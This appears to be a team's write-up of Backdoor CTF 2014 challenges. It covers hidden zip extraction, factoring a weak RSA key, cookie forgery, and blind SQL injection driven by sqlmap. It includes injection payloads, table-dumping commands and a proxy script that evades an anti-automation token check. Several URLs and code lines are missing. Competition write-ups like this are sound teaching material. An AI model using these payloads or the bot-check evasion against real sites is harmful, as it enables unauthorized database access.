Backdoor CTF 2014 Writeups

With reasonable brevity by SIGINT

Crypto 10

[andrew@archa backdoor]$ binwalk -e crypto10.jpg 

0        0x0      JPEG image data, JFIF standard  1.01
40804    0x9F64   Zip archive data, name: "got2.jpg"  
73941    0x120D5  End of Zip archive

[andrew@archa _crypto10.jpg.extracted]$ binwalk -e got2.jpg 

0        0x0     JPEG image data, JFIF standard  1.02
33587    0x8333  Zip archive data, name: "txt.txt"  
33761    0x83E1  End of Zip archive

[andrew@archa _got2.jpg.extracted]$ cat txt.txt 

Crypto 100

[andrew@archa backdoor]$ hexdump -C ciphertext.txt 
00000000  0c 08 d1 e9 22 a6 12 49  20 45 73 2b 00 a5 46 40  |...."..I Es+..F@|
00000010  cb 25 2e 2e 84 f0 75 8a  f3 87 d6 0c              |.%....u.....|

[andrew@archa backdoor]$ openssl rsa -in -pubin -text    
Public-Key: (220 bit)
Exponent: 65537 (0x10001)
writing RSA key
-----END PUBLIC KEY-----

This page shows that factoring a 330-bit key was possible in 1991. Absent any other weaknesses, it seems that all we have to do is factor the modulus of the public key. Here I use CADO-NFS to factor the modulus.

>>> int('0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22: \
... 64:77:28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b'.replace(':',''),16)          

[andrew@archa backdoor]$ /usr/libexec/cado-nfs/bin/ 1267822572326555807122159576684530178338449545988069238646937967979 
< math omitted >
Info:Complete Factorization: Total cpu/real time for everything: 230.48/248.437
1162435056374824133712043309728653 1090660992520643446103273789680343

I have a local script to generate an RSA private key file from provided p and q values, but it's possible to use an online generator if you are less paranoid.

[andrew@archa backdoor]$ wget "" -O id.pem
[andrew@archa backdoor]$ openssl rsautl -decrypt -inkey id.pem < ciphertext.txt 

Web 10

[andrew@archa ~]$ curl -v
* Hostname was NOT found in DNS cache
*   Trying
* Connected to ( port 80 (#0)
> GET /problems/web10/ HTTP/1.1
> User-Agent: curl/7.35.0
> Host:
> Accept: */*
< HTTP/1.1 200 OK
< Date: Sun, 23 Mar 2014 01:46:06 GMT
* Server Apache/2.2.22 (Ubuntu) is not blacklisted
< Server: Apache/2.2.22 (Ubuntu)
< X-Powered-By: PHP/5.3.10-1ubuntu3.10
< Backdoor-CTF: 28b3324be8b003ee7e1d0d153fad3c32
< Vary: Accept-Encoding
< Content-Length: 2716
< Content-Type: text/html

Do you spot the flag?

Web 30

[andrew@archa ~]$ curl -D - -o /dev/null 
Date: Sun, 23 Mar 2014 02:05:23 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
Set-Cookie: auth=false
Vary: Accept-Encoding
Content-Length: 2683
Content-Type: text/html

That's an interesting cookie.

[andrew@archa ~]$ curl                   
Sorry , you will never get a flag in your life :P  Not authorized

What if we send auth=true?

[andrew@archa ~]$ curl --cookie "auth=true"
Here is a flag : aeba37a3aaffc93567a61d9a67466fdf

Web 50

The PHP script appears to be running a SQL query of the form SELECT FROM QUOTES WHERE quote LIKE '$search';

We can make this conditional true for all quotes by searching for ' or 1=1 or '. We can check whether a SQL conditional evaluates to true by ANDing the conditional with another that should return true, e.g. f' and 2=2 or 'foobar'='. This allows us to extract one bit of information per query. We could write a binary search script to extract characters to read the database and, hopefully, the flag.

sqlmap is a great tool for automatic exploitation of SQL injection vulnerabilities. Let's throw sqlmap at the page for a few minutes to find all of the tables.

sqlmap -u --data="search=f" --tables --threads 10 --exclude-sysdbs

Place: POST
Parameter: search
    Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: search=f%' AND 5266=5266 AND '%'='

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
    Payload: search=f%' AND SLEEP(5) AND '%'='

Database: sqli_db
[2 tables]
| quotes                |
| the_flag_is_over_here |

Hmm, let's take them at their word and dump the contents of that second table:

sqlmap -u --data="search=f" -D sqli_db -T the_flag_is_over_here --dump  --threads 10 --exclude-sysdbs

Database: sqli_db
Table: the_flag_is_over_here
[1 entry]
| twisted_column_name              |
| d5abaf391f7bc7e7cda8c128e5ca3187 |

Web 100-1

The server has to retrieve the picture in order to rate it, right? Does it do anything else? Let's listen on port 80 on any server:

sudo nc -vlp 80

Then submit a link to your machine e.g.

 Connection from
 GET / HTTP/1.1
 Accept: */*
 X-Referrer: 92702a9381515494689f5d14f85a83b7.php

That referrer URL isn't the flag, so see what's on the page:

 [andrew@archa ~]$ curl
 <!doctype html>
   <title>Super Secret Page</title>
     <h2>Super secret page</h2>
 <p>This is a dangerous place. You shouldn't be lurking here. Click <a id="./submit.php">here</a> to go back.</p>
 <!-- By the way, the flag is f556b9a48a3ee914f291f9b98645cb02 -->

Web 300

This problem gives you an interface to check whether a user has registered here.

If the username does not exist, the script returns Please wait for a little while for this user to be validated. If it does exist, it returns This user has been validated.

As before, this script is vulnerable to blind SQL injection, and we receive a single bit of information from each query.

However, once we try to use sqlmap to exploit this automatically, we find that it cannot automatically detect and exploit the vulnerability. Rerunning sqlmap with the -v 6 option will show full requests and responses. We see that the check.php script is now returning No automated tools please :). How does it detect this?

For one, sqlmap usually sends a user-agent that identifies its requests as originating from sqlmap. However, copying the user-agent from Chrome does not solve the problem.

Taking a closer look at how a browser interacts with the problem, we find that the status.php page sets a cookie named web_300_token and the check.php page deletes this cookie. Each time the status.php page is loaded, we get a new web_300_token. The response headers of that page are clearly designed to prevent the browser from even thinking about caching anything from that page:

Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Date:Sun, 23 Mar 2014 03:49:14 GMT
Expires:Thu, 19 Nov 1981 08:52:00 GMT

When you try to use the same web_300_token to send a second request to check.php, the server returns the No automated tools please :) message. So, we need to make sure that each request from sqlmap has a valid web_300_token, by making a request to status.php before each query.

Unfortunately, sqlmap can't do this out of the box. sqlmap does provide an --eval flag which executes Python code in a context containing the data that sqlmap is about to send, along with cookies. However, though it supports modification/addition of query data, changes to cookies are not reflected in the outgoing request.

Our first idea was a bit complicated. We put sqlmap behind an instance of mitmproxy with sticky cookies enabled on all requests. Then, in sqlmap's --eval parameter we passed the code:

import urllib,time; urllib.urlopen('',proxies={'http':''});

The intention was that before each request, sqlmap should send a front-running request to status.php to prime the proxy with the web_300_token cookie. Then sqlmap would send the primary request, mitmproxy would tack on the cookie it received from status.php, and the query would be processed as if from a browser.

For some reason, this doesn't work as intended - mitmproxy mangles and combines cookies with expiration times on outgoing requests, and the check.php script rejects them. So, we had to go a step further and put together a libmproxy server to process the incoming and outgoing requests as we wanted:

from libmproxy import controller, proxy
import os

class StickyMaster(controller.Master):
    def __init__(self, server):
        controller.Master.__init__(self, server)
    def run(self):
        except KeyboardInterrupt:

    def handle_request(self, msg):
        hid = (, msg.port)
        msg.headers["Cookie"] = ['; '.join(self.cookies)]
        msg.headers['User-Agent'] = ['Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36']
        msg.headers['Connection'] = ['keep-alive']

    def handle_response(self, msg):
        hid = (, msg.request.port)
        if msg.headers["set-cookie"]:
            self.cookies = [x.split(';')[0] for x in msg.headers["set-cookie"] if 'delete' not in x]            
        print msg.headers, self.cookies
config = proxy.ProxyConfig()
server = proxy.ProxyServer(config, 7222)
m = StickyMaster(server)

(We had further issues with the user-agent, so we also set the user-agent at the proxy to resolve them)

This nearly worked, but we noticed that it was rejecting most of our requests. We suspected that check.php was rejecting web_300_tokens which were too new. Experimentally, we determined that tokens newer than 2 seconds old were not valid, so to be safe, we inserted a 5-second sleep in our --eval code after priming the proxy.

Finally, sqlmap was able to work its magic and probe the database, albeit with requests spaced by around 5 seconds. Using a single proxy also meant that we could not use multiple sqlmap threads, although if desired we could have fixed that by including a complicated token queue in the proxy.

Place: POST
Parameter: username
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=asdf' AND 7617=7617 AND 'SRYh'='SRYh
    Vector: AND [INFERENCE]

Listing tables as before showed that there is a table named the_elusive_flag containing a single row.

sqlmap -u \
   --data="username=asdf" --proxy= \
   --eval="import urllib,time; urllib.urlopen('', \
           proxies={'http':''}); time.sleep(5)" \
   --threads=1 -v 6 --dbms=mysql -T the_elusive_flag --dump -D blind_sqli_db

In the column named this_column_has_the_flag of the single row, we find, against all odds, a flag!

Database: blind_sqli_db
Table: the_elusive_flag
[1 entry]
| this_column_has_the_flag         |
| 9d4dcc5981b17bf37740c7dbabe3b294 |